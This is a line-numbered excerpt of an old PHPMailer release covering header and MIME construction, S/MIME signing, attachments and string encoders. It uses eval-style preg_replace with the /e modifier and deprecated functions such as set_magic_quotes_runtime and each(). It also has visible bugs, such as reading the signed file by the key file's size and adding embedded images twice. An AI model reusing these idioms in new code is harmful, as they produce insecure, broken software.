2231 /* sendmail and mail() extract Cc from the header before sending */
2232 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2233 $result .= $this->AddrAppend('Cc', $this->cc);
2234 }
2235
2236 /* sendmail and mail() extract Bcc from the header before sending */
2237 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2238 $result .= $this->AddrAppend('Bcc', $this->bcc);
2239 }
2240
2241 if(count($this->ReplyTo) > 0) {
2242 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2243 }
2244
2245 /* mail() sets the subject itself */
2246 if($this->Mailer != 'mail') {
2247 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2248 }
2249
2250 if($this->MessageID != '') {
2251 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2252 } else {
2253 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2254 }
2255 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2256 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2257
2258 if($this->ConfirmReadingTo != '') {
2259 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2260 }
2261
2262 // Add custom headers
2263 for($index = 0; $index < count($this->CustomHeader); $index++) {
2264 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2265 }
2266 if (!$this->sign_key_file) {
2267 $result .= $this->HeaderLine('MIME-Version', '1.0');
2268 $result .= $this->GetMailMIME();
2269 }
2270
2271 return $result;
2272 }
2273
2274 /**
2275 * Returns the message MIME.
2276 * @access private
2277 * @return string
2278 */
2279 function GetMailMIME() {
2280 $result = '';
2281 switch($this->message_type) {
2282 case 'plain':
2283 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2284 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2285 break;
2286 case 'attachments':
2287 /* fall through */
2288 case 'alt_attachments':
2289 if($this->InlineImageExists()){
2290 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2291 } else {
2292 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2293 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2294 }
2295 break;
2296 case 'alt':
2297 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2298 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2299 break;
2300 }
2301
2302 if($this->Mailer != 'mail') {
2303 $result .= $this->LE.$this->LE;
2304 }
2305
2306 return $result;
2307 }
2308
2309 /**
2310 * Assembles the message body. Returns an empty string on failure.
2311 * @access private
2312 * @return string
2313 */
2314 function CreateBody() {
2315 $result = '';
2316 if ($this->sign_key_file) {
2317 $result .= $this->GetMailMIME();
2318 }
2319
2320 $this->SetWordWrap();
2321
2322 switch($this->message_type) {
2323 case 'alt':
2324 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2325 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2326 $result .= $this->LE.$this->LE;
2327 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2328 $result .= $this->EncodeString($this->Body, $this->Encoding);
2329 $result .= $this->LE.$this->LE;
2330 $result .= $this->EndBoundary($this->boundary[1]);
2331 break;
2332 case 'plain':
2333 $result .= $this->EncodeString($this->Body, $this->Encoding);
2334 break;
2335 case 'attachments':
2336 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2337 $result .= $this->EncodeString($this->Body, $this->Encoding);
2338 $result .= $this->LE;
2339 $result .= $this->AttachAll();
2340 break;
2341 case 'alt_attachments':
2342 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2343 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2344 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2345 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2346 $result .= $this->LE.$this->LE;
2347 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2348 $result .= $this->EncodeString($this->Body, $this->Encoding);
2349 $result .= $this->LE.$this->LE;
2350 $result .= $this->EndBoundary($this->boundary[2]);
2351 $result .= $this->AttachAll();
2352 break;
2353 }
2354
2355 if($this->IsError()) {
2356 $result = '';
2357 } else if ($this->sign_key_file) {
2358 $file = tempnam("", "mail");
2359 $fp = fopen($file, "w");
2360 fwrite($fp, $result);
2361 fclose($fp);
2362 $signed = tempnam("", "signed");
2363
2364 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2365 $fp = fopen($signed, "r");
2366 $result = fread($fp, filesize($this->sign_key_file));
2367 fclose($fp);
2368 } else {
2369 $this->SetError($this->Lang("signing").openssl_error_string());
2370 $result = '';
2371 }
2372
2373 unlink($file);
2374 unlink($signed);
2375 }
2376
2377 return $result;
2378 }
2379
2380 /**
2381 * Returns the start of a message boundary.
2382 * @access private
2383 */
2384 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2385 $result = '';
2386 if($charSet == '') {
2387 $charSet = $this->CharSet;
2388 }
2389 if($contentType == '') {
2390 $contentType = $this->ContentType;
2391 }
2392 if($encoding == '') {
2393 $encoding = $this->Encoding;
2394 }
2395 $result .= $this->TextLine('--' . $boundary);
2396 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2397 $result .= $this->LE;
2398 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2399 $result .= $this->LE;
2400
2401 return $result;
2402 }
2403
2404 /**
2405 * Returns the end of a message boundary.
2406 * @access private
2407 */
2408 function EndBoundary($boundary) {
2409 return $this->LE . '--' . $boundary . '--' . $this->LE;
2410 }
2411
2412 /**
2413 * Sets the message type.
2414 * @access private
2415 * @return void
2416 */
2417 function SetMessageType() {
2418 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2419 $this->message_type = 'plain';
2420 } else {
2421 if(count($this->attachment) > 0) {
2422 $this->message_type = 'attachments';
2423 }
2424 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2425 $this->message_type = 'alt';
2426 }
2427 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2428 $this->message_type = 'alt_attachments';
2429 }
2430 }
2431 }
2432
2433 /* Returns a formatted header line.
2434 * @access private
2435 * @return string
2436 */
2437 function HeaderLine($name, $value) {
2438 return $name . ': ' . $value . $this->LE;
2439 }
2440
2441 /**
2442 * Returns a formatted mail line.
2443 * @access private
2444 * @return string
2445 */
2446 function TextLine($value) {
2447 return $value . $this->LE;
2448 }
2449
2450 /////////////////////////////////////////////////
2451 // CLASS METHODS, ATTACHMENTS
2452 /////////////////////////////////////////////////
2453
2454 /**
2455 * Adds an attachment from a path on the filesystem.
2456 * Returns false if the file could not be found
2457 * or accessed.
2458 * @param string $path Path to the attachment.
2459 * @param string $name Overrides the attachment name.
2460 * @param string $encoding File encoding (see $Encoding).
2461 * @param string $type File extension (MIME) type.
2462 * @return bool
2463 */
2464 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2465 if(!@is_file($path)) {
2466 $this->SetError($this->Lang('file_access') . $path);
2467 return false;
2468 }
2469
2470 $filename = basename($path);
2471 if($name == '') {
2472 $name = $filename;
2473 }
2474
2475 $cur = count($this->attachment);
2476 $this->attachment[$cur][0] = $path;
2477 $this->attachment[$cur][1] = $filename;
2478 $this->attachment[$cur][2] = $name;
2479 $this->attachment[$cur][3] = $encoding;
2480 $this->attachment[$cur][4] = $type;
2481 $this->attachment[$cur][5] = false; // isStringAttachment
2482 $this->attachment[$cur][6] = 'attachment';
2483 $this->attachment[$cur][7] = 0;
2484
2485 return true;
2486 }
2487
2488 /**
2489 * Attaches all fs, string, and binary attachments to the message.
2490 * Returns an empty string on failure.
2491 * @access private
2492 * @return string
2493 */
2494 function AttachAll() {
2495 /* Return text of body */
2496 $mime = array();
2497
2498 /* Add all attachments */
2499 for($i = 0; $i < count($this->attachment); $i++) {
2500 /* Check for string attachment */
2501 $bString = $this->attachment[$i][5];
2502 if ($bString) {
2503 $string = $this->attachment[$i][0];
2504 } else {
2505 $path = $this->attachment[$i][0];
2506 }
2507
2508 $filename = $this->attachment[$i][1];
2509 $name = $this->attachment[$i][2];
2510 $encoding = $this->attachment[$i][3];
2511 $type = $this->attachment[$i][4];
2512 $disposition = $this->attachment[$i][6];
2513 $cid = $this->attachment[$i][7];
2514
2515 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2516 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2517 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2518
2519 if($disposition == 'inline') {
2520 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2521 }
2522
2523 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2524
2525 /* Encode as string attachment */
2526 if($bString) {
2527 $mime[] = $this->EncodeString($string, $encoding);
2528 if($this->IsError()) {
2529 return '';
2530 }
2531 $mime[] = $this->LE.$this->LE;
2532 } else {
2533 $mime[] = $this->EncodeFile($path, $encoding);
2534 if($this->IsError()) {
2535 return '';
2536 }
2537 $mime[] = $this->LE.$this->LE;
2538 }
2539 }
2540
2541 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2542
2543 return join('', $mime);
2544 }
2545
2546 /**
2547 * Encodes attachment in requested format. Returns an
2548 * empty string on failure.
2549 * @access private
2550 * @return string
2551 */
2552 function EncodeFile ($path, $encoding = 'base64') {
2553 if(!@$fd = fopen($path, 'rb')) {
2554 $this->SetError($this->Lang('file_open') . $path);
2555 return '';
2556 }
2557 $magic_quotes = get_magic_quotes_runtime();
2558 set_magic_quotes_runtime(0);
2559 $file_buffer = fread($fd, filesize($path));
2560 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2561 fclose($fd);
2562 set_magic_quotes_runtime($magic_quotes);
2563
2564 return $file_buffer;
2565 }
2566
2567 /**
2568 * Encodes string to requested format. Returns an
2569 * empty string on failure.
2570 * @access private
2571 * @return string
2572 */
2573 function EncodeString ($str, $encoding = 'base64') {
2574 $encoded = '';
2575 switch(strtolower($encoding)) {
2576 case 'base64':
2577 /* chunk_split is found in PHP >= 3.0.6 */
2578 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2579 break;
2580 case '7bit':
2581 case '8bit':
2582 $encoded = $this->FixEOL($str);
2583 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2584 $encoded .= $this->LE;
2585 break;
2586 case 'binary':
2587 $encoded = $str;
2588 break;
2589 case 'quoted-printable':
2590 $encoded = $this->EncodeQP($str);
2591 break;
2592 default:
2593 $this->SetError($this->Lang('encoding') . $encoding);
2594 break;
2595 }
2596 return $encoded;
2597 }
2598
2599 /**
2600 * Encode a header string to best of Q, B, quoted or none.
2601 * @access private
2602 * @return string
2603 */
2604 function EncodeHeader ($str, $position = 'text') {
2605 $x = 0;
2606
2607 switch (strtolower($position)) {
2608 case 'phrase':
2609 if (!preg_match('/[\200-\377]/', $str)) {
2610 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2611 $encoded = addcslashes($str, "\0..\37\177\\\"");
2612 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2613 return ($encoded);
2614 } else {
2615 return ("\"$encoded\"");
2616 }
2617 }
2618 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2619 break;
2620 case 'comment':
2621 $x = preg_match_all('/[()"]/', $str, $matches);
2622 /* Fall-through */
2623 case 'text':
2624 default:
2625 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2626 break;
2627 }
2628
2629 if ($x == 0) {
2630 return ($str);
2631 }
2632
2633 $maxlen = 75 - 7 - strlen($this->CharSet);
2634 /* Try to select the encoding which should produce the shortest output */
2635 if (strlen($str)/3 < $x) {
2636 $encoding = 'B';
2637 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2638 // Use a custom function which correctly encodes and wraps long
2639 // multibyte strings without breaking lines within a character
2640 $encoded = $this->Base64EncodeWrapMB($str);
2641 } else {
2642 $encoded = base64_encode($str);
2643 $maxlen -= $maxlen % 4;
2644 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2645 }
2646 } else {
2647 $encoding = 'Q';
2648 $encoded = $this->EncodeQ($str, $position);
2649 $encoded = $this->WrapText($encoded, $maxlen, true);
2650 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2651 }
2652
2653 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2654 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2655
2656 return $encoded;
2657 }
2658
2659 /**
2660 * Checks if a string contains multibyte characters.
2661 * @access private
2662 * @param string $str multi-byte text to wrap encode
2663 * @return bool
2664 */
2665 function HasMultiBytes($str) {
2666 if (function_exists('mb_strlen')) {
2667 return (strlen($str) > mb_strlen($str, $this->CharSet));
2668 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2669 return False;
2670 }
2671 }
2672
2673 /**
2674 * Correctly encodes and wraps long multibyte strings for mail headers
2675 * without breaking lines within a character.
2676 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2677 * @access private
2678 * @param string $str multi-byte text to wrap encode
2679 * @return string
2680 */
2681 function Base64EncodeWrapMB($str) {
2682 $start = "=?".$this->CharSet."?B?";
2683 $end = "?=";
2684 $encoded = "";
2685
2686 $mb_length = mb_strlen($str, $this->CharSet);
2687 // Each line must have length <= 75, including $start and $end
2688 $length = 75 - strlen($start) - strlen($end);
2689 // Average multi-byte ratio
2690 $ratio = $mb_length / strlen($str);
2691 // Base64 has a 4:3 ratio
2692 $offset = $avgLength = floor($length * $ratio * .75);
2693
2694 for ($i = 0; $i < $mb_length; $i += $offset) {
2695 $lookBack = 0;
2696
2697 do {
2698 $offset = $avgLength - $lookBack;
2699 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2700 $chunk = base64_encode($chunk);
2701 $lookBack++;
2702 }
2703 while (strlen($chunk) > $length);
2704
2705 $encoded .= $chunk . $this->LE;
2706 }
2707
2708 // Chomp the last linefeed
2709 $encoded = substr($encoded, 0, -strlen($this->LE));
2710 return $encoded;
2711 }
2712
2713 /**
2714 * Encode string to quoted-printable.
2715 * @access private
2716 * @return string
2717 */
2718 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2719 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2720 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2721 $eol = "\r\n";
2722 $escape = '=';
2723 $output = '';
2724 while( list(, $line) = each($lines) ) {
2725 $linlen = strlen($line);
2726 $newline = '';
2727 for($i = 0; $i < $linlen; $i++) {
2728 $c = substr( $line, $i, 1 );
2729 $dec = ord( $c );
2730 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2731 $c = '=2E';
2732 }
2733 if ( $dec == 32 ) {
2734 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2735 $c = '=20';
2736 } else if ( $space_conv ) {
2737 $c = '=20';
2738 }
2739 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2740 $h2 = floor($dec/16);
2741 $h1 = floor($dec%16);
2742 $c = $escape.$hex[$h2].$hex[$h1];
2743 }
2744 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2745 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2746 $newline = '';
2747 // check if newline first character will be point or not
2748 if ( $dec == 46 ) {
2749 $c = '=2E';
2750 }
2751 }
2752 $newline .= $c;
2753 } // end of for
2754 $output .= $newline.$eol;
2755 } // end of while
2756 return trim($output);
2757 }
2758
2759 /**
2760 * Encode string to q encoding.
2761 * @access private
2762 * @return string
2763 */
2764 function EncodeQ ($str, $position = 'text') {
2765 /* There should not be any EOL in the string */
2766 $encoded = preg_replace("[\r\n]", '', $str);
2767
2768 switch (strtolower($position)) {
2769 case 'phrase':
2770 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2771 break;
2772 case 'comment':
2773 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2774 case 'text':
2775 default:
2776 /* Replace every high ascii, control =, ? and _ characters */
2777 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2778 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2779 break;
2780 }
2781
2782 /* Replace every spaces to _ (more readable than =20) */
2783 $encoded = str_replace(' ', '_', $encoded);
2784
2785 return $encoded;
2786 }
2787
2788 /**
2789 * Adds a string or binary attachment (non-filesystem) to the list.
2790 * This method can be used to attach ascii or binary data,
2791 * such as a BLOB record from a database.
2792 * @param string $string String attachment data.
2793 * @param string $filename Name of the attachment.
2794 * @param string $encoding File encoding (see $Encoding).
2795 * @param string $type File extension (MIME) type.
2796 * @return void
2797 */
2798 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2799 /* Append to $attachment array */
2800 $cur = count($this->attachment);
2801 $this->attachment[$cur][0] = $string;
2802 $this->attachment[$cur][1] = $filename;
2803 $this->attachment[$cur][2] = $filename;
2804 $this->attachment[$cur][3] = $encoding;
2805 $this->attachment[$cur][4] = $type;
2806 $this->attachment[$cur][5] = true; // isString
2807 $this->attachment[$cur][6] = 'attachment';
2808 $this->attachment[$cur][7] = 0;
2809 }
2810
2811 /**
2812 * Adds an embedded attachment. This can include images, sounds, and
2813 * just about any other document. Make sure to set the $type to an
2814 * image type. For JPEG images use "image/jpeg" and for GIF images
2815 * use "image/gif".
2816 * @param string $path Path to the attachment.
2817 * @param string $cid Content ID of the attachment. Use this to identify
2818 * the Id for accessing the image in an HTML form.
2819 * @param string $name Overrides the attachment name.
2820 * @param string $encoding File encoding (see $Encoding).
2821 * @param string $type File extension (MIME) type.
2822 * @return bool
2823 */
2824 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2825
2826 if(!@is_file($path)) {
2827 $this->SetError($this->Lang('file_access') . $path);
2828 return false;
2829 }
2830
2831 $filename = basename($path);
2832 if($name == '') {
2833 $name = $filename;
2834 }
2835
2836 /* Append to $attachment array */
2837 $cur = count($this->attachment);
2838 $this->attachment[$cur][0] = $path;
2839 $this->attachment[$cur][1] = $filename;
2840 $this->attachment[$cur][2] = $name;
2841 $this->attachment[$cur][3] = $encoding;
2842 $this->attachment[$cur][4] = $type;
2843 $this->attachment[$cur][5] = false;
2844 $this->attachment[$cur][6] = 'inline';
2845 $this->attachment[$cur][7] = $cid;
2846
2847 return true;
2848 }
2849
2850 /**
2851 * Returns true if an inline attachment is present.
2852 * @access private
2853 * @return bool
2854 */
2855 function InlineImageExists() {
2856 $result = false;
2857 for($i = 0; $i < count($this->attachment); $i++) {
2858 if($this->attachment[$i][6] == 'inline') {
2859 $result = true;
2860 break;
2861 }
2862 }
2863
2864 return $result;
2865 }
2866
2867 /////////////////////////////////////////////////
2868 // CLASS METHODS, MESSAGE RESET
2869 /////////////////////////////////////////////////
2870
2871 /**
2872 * Clears all recipients assigned in the TO array. Returns void.
2873 * @return void
2874 */
2875 function ClearAddresses() {
2876 $this->to = array();
2877 }
2878
2879 /**
2880 * Clears all recipients assigned in the CC array. Returns void.
2881 * @return void
2882 */
2883 function ClearCCs() {
2884 $this->cc = array();
2885 }
2886
2887 /**
2888 * Clears all recipients assigned in the BCC array. Returns void.
2889 * @return void
2890 */
2891 function ClearBCCs() {
2892 $this->bcc = array();
2893 }
2894
2895 /**
2896 * Clears all recipients assigned in the ReplyTo array. Returns void.
2897 * @return void
2898 */
2899 function ClearReplyTos() {
2900 $this->ReplyTo = array();
2901 }
2902
2903 /**
2904 * Clears all recipients assigned in the TO, CC and BCC
2905 * array. Returns void.
2906 * @return void
2907 */
2908 function ClearAllRecipients() {
2909 $this->to = array();
2910 $this->cc = array();
2911 $this->bcc = array();
2912 }
2913
2914 /**
2915 * Clears all previously set filesystem, string, and binary
2916 * attachments. Returns void.
2917 * @return void
2918 */
2919 function ClearAttachments() {
2920 $this->attachment = array();
2921 }
2922
2923 /**
2924 * Clears all custom headers. Returns void.
2925 * @return void
2926 */
2927 function ClearCustomHeaders() {
2928 $this->CustomHeader = array();
2929 }
2930
2931 /////////////////////////////////////////////////
2932 // CLASS METHODS, MISCELLANEOUS
2933 /////////////////////////////////////////////////
2934
2935 /**
2936 * Adds the error message to the error container.
2937 * Returns void.
2938 * @access private
2939 * @return void
2940 */
2941 function SetError($msg) {
2942 $this->error_count++;
2943 $this->ErrorInfo = $msg;
2944 }
2945
2946 /**
2947 * Returns the proper RFC 822 formatted date.
2948 * @access private
2949 * @return string
2950 */
2951 function RFCDate() {
2952 $tz = date('Z');
2953 $tzs = ($tz < 0) ? '-' : '+';
2954 $tz = abs($tz);
2955 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2956 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2957
2958 return $result;
2959 }
2960
2961 /**
2962 * Returns the appropriate server variable. Should work with both
2963 * PHP 4.1.0+ as well as older versions. Returns an empty string
2964 * if nothing is found.
2965 * @access private
2966 * @return mixed
2967 */
2968 function ServerVar($varName) {
2969 global $HTTP_SERVER_VARS;
2970 global $HTTP_ENV_VARS;
2971
2972 if(!isset($_SERVER)) {
2973 $_SERVER = $HTTP_SERVER_VARS;
2974 if(!isset($_SERVER['REMOTE_ADDR'])) {
2975 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2976 }
2977 }
2978
2979 if(isset($_SERVER[$varName])) {
2980 return $_SERVER[$varName];
2981 } else {
2982 return '';
2983 }
2984 }
2985
2986 /**
2987 * Returns the server hostname or 'localhost.localdomain' if unknown.
2988 * @access private
2989 * @return string
2990 */
2991 function ServerHostname() {
2992 if ($this->Hostname != '') {
2993 $result = $this->Hostname;
2994 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2995 $result = $this->ServerVar('SERVER_NAME');
2996 } else {
2997 $result = 'localhost.localdomain';
2998 }
2999
3000 return $result;
3001 }
3002
3003 /**
3004 * Returns a message in the appropriate language.
3005 * @access private
3006 * @return string
3007 */
3008 function Lang($key) {
3009 if(count($this->language) < 1) {
3010 $this->SetLanguage('en'); // set the default language
3011 }
3012
3013 if(isset($this->language[$key])) {
3014 return $this->language[$key];
3015 } else {
3016 return 'Language string failed to load: ' . $key;
3017 }
3018 }
3019
3020 /**
3021 * Returns true if an error occurred.
3022 * @return bool
3023 */
3024 function IsError() {
3025 return ($this->error_count > 0);
3026 }
3027
3028 /**
3029 * Changes every end of line from CR or LF to CRLF.
3030 * @access private
3031 * @return string
3032 */
3033 function FixEOL($str) {
3034 $str = str_replace("\r\n", "\n", $str);
3035 $str = str_replace("\r", "\n", $str);
3036 $str = str_replace("\n", $this->LE, $str);
3037 return $str;
3038 }
3039
3040 /**
3041 * Adds a custom header.
3042 * @return void
3043 */
3044 function AddCustomHeader($custom_header) {
3045 $this->CustomHeader[] = explode(':', $custom_header, 2);
3046 }
3047
3048 /**
3049 * Evaluates the message and returns modifications for inline images and backgrounds
3050 * @access public
3051 * @return $message
3052 */
3053 function MsgHTML($message,$basedir='') {
3054 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3055 if(isset($images[2])) {
3056 foreach($images[2] as $i => $url) {
3057 // do not change urls for absolute images (thanks to corvuscorax)
3058 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3059 $filename = basename($url);
3060 $directory = dirname($url);
3061 ($directory == '.')?$directory='':'';
3062 $cid = 'cid:' . md5($filename);
3063 $fileParts = explode("\.", $filename);
3064 $ext = $fileParts[1];
3065 $mimeType = $this->_mime_types($ext);
3066 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3067 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3068 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3069 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3070 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3071 }
3072 }
3073 }
3074 }
3075 $this->IsHTML(true);
3076 $this->Body = $message;
3077 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3078 if ( !empty($textMsg) && empty($this->AltBody) ) {
3079 $this->AltBody = $textMsg;
3080 }
3081 if ( empty($this->AltBody) ) {
3082 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3083 }
3084 }
3085
3086 /**
3087 * Gets the mime type of the embedded or inline image
3088 * @access private
3089 * @return mime type of ext
3090 */
3091 function _mime_types($ext = '') {
3092 $mimes = array(
3093 'hqx' => 'application/mac-binhex40',
3094 'cpt' => 'application/mac-compactpro',
3095 'doc' => 'application/msword',
3096 'bin' => 'application/macbinary',
3097 'dms' => 'application/octet-stream',
3098 'lha' => 'application/octet-stream',
3099 'lzh' => 'application/octet-stream',
3100 'exe' => 'application/octet-stream',
3101 'class' => 'application/octet-stream',
3102 'psd' => 'application/octet-stream',
3103 'so' => 'application/octet-stream',
3104 'sea' => 'application/octet-stream',
3105 'dll' => 'application/octet-stream',
3106 'oda' => 'application/oda',
3107 'pdf' => 'application/pdf',
3108 'ai' => 'application/postscript',
3109 'eps' => 'application/postscript',
3110 'ps' => 'application/postscript',
3111 'smi' => 'application/smil',
3112 'smil' => 'application/smil',
3113 'mif' => 'application/vnd.mif',
3114 'xls' => 'application/vnd.ms-excel',
3115 'ppt' => 'application/vnd.ms-powerpoint',
3116 'wbxml' => 'application/vnd.wap.wbxml',
3117 'wmlc' => 'application/vnd.wap.wmlc',
3118 'dcr' => 'application/x-director',
3119 'dir' => 'application/x-director',
3120 'dxr' => 'application/x-director',
3121 'dvi' => 'application/x-dvi',
3122 'gtar' => 'application/x-gtar',
3123 'php' => 'application/x-httpd-php',
3124 'php4' => 'application/x-httpd-php',
3125 'php3' => 'application/x-httpd-php',
3126 'phtml' => 'application/x-httpd-php',
3127 'phps' => 'application/x-httpd-php-source',
3128 'js' => 'application/x-javascript',
3129 'swf' => 'application/x-shockwave-flash',
3130 'sit' => 'application/x-stuffit',
3131 'tar' => 'application/x-tar',
3132 'tgz' => 'application/x-tar',
3133 'xhtml' => 'application/xhtml+xml',
3134 'xht' => 'application/xhtml+xml',
3135 'zip' => 'application/zip',
3136 'mid' => 'audio/midi',
3137 'midi' => 'audio/midi',
3138 'mpga' => 'audio/mpeg',
3139 'mp2' => 'audio/mpeg',
3140 'mp3' => 'audio/mpeg',
3141 'aif' => 'audio/x-aiff',
3142 'aiff' => 'audio/x-aiff',
3143 'aifc' => 'audio/x-aiff',
3144 'ram' => 'audio/x-pn-realaudio',
3145 'rm' => 'audio/x-pn-realaudio',
3146 'rpm' => 'audio/x-pn-realaudio-plugin',
3147 'ra' => 'audio/x-realaudio',
3148 'rv' => 'video/vnd.rn-realvideo',
3149 'wav' => 'audio/x-wav',
3150 'bmp' => 'image/bmp',
3151 'gif' => 'image/gif',
3152 'jpeg' => 'image/jpeg',
3153 'jpg' => 'image/jpeg',
3154 'jpe' => 'image/jpeg',
3155 'png' => 'image/png',
3156 'tiff' => 'image/tiff',
3157 'tif' => 'image/tiff',
3158 'css' => 'text/css',
3159 'html' => 'text/html',
3160 'htm' => 'text/html',
3161 'shtml' => 'text/html',
3162 'txt' => 'text/plain',
3163 'text' => 'text/plain',
3164 'log' => 'text/plain',
3165 'rtx' => 'text/richtext',
3166 'rtf' => 'text/rtf',
3167 'xml' => 'text/xml',
3168 'xsl' => 'text/xml',
3169 'mpeg' => 'video/mpeg',
3170 'mpg' => 'video/mpeg',
3171 'mpe' => 'video/mpeg',
3172 'qt' => 'video/quicktime',
3173 'mov' => 'video/quicktime',
3174 'avi' => 'video/x-msvideo',
3175 'movie' => 'video/x-sgi-movie',
3176 'doc' => 'application/msword',
3177 'word' => 'application/msword',
3178 'xl' => 'application/excel',
3179 'eml' => 'message/rfc822'
3180 );
3181 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3182 }
3183
3184 /**
3185 * Set (or reset) Class Objects (variables)
3186 *
3187 * Usage Example:
3188 * $page->set('X-Priority', '3');
3189 *
3190 * @access public
3191 * @param string $name Parameter Name
3192 * @param mixed $value Parameter Value
3193 * NOTE: will not work with arrays, there are no arrays to set/reset
3194 */
3195 function set ( $name, $value = '' ) {
3196 if ( isset($this->$name) ) {
3197 $this->$name = $value;
3198 } else {
3199 $this->SetError('Cannot set or reset variable ' . $name);
3200 return false;
3201 }
3202 }
3203
3204 /**
3205 * Read a file from a supplied filename and return it.
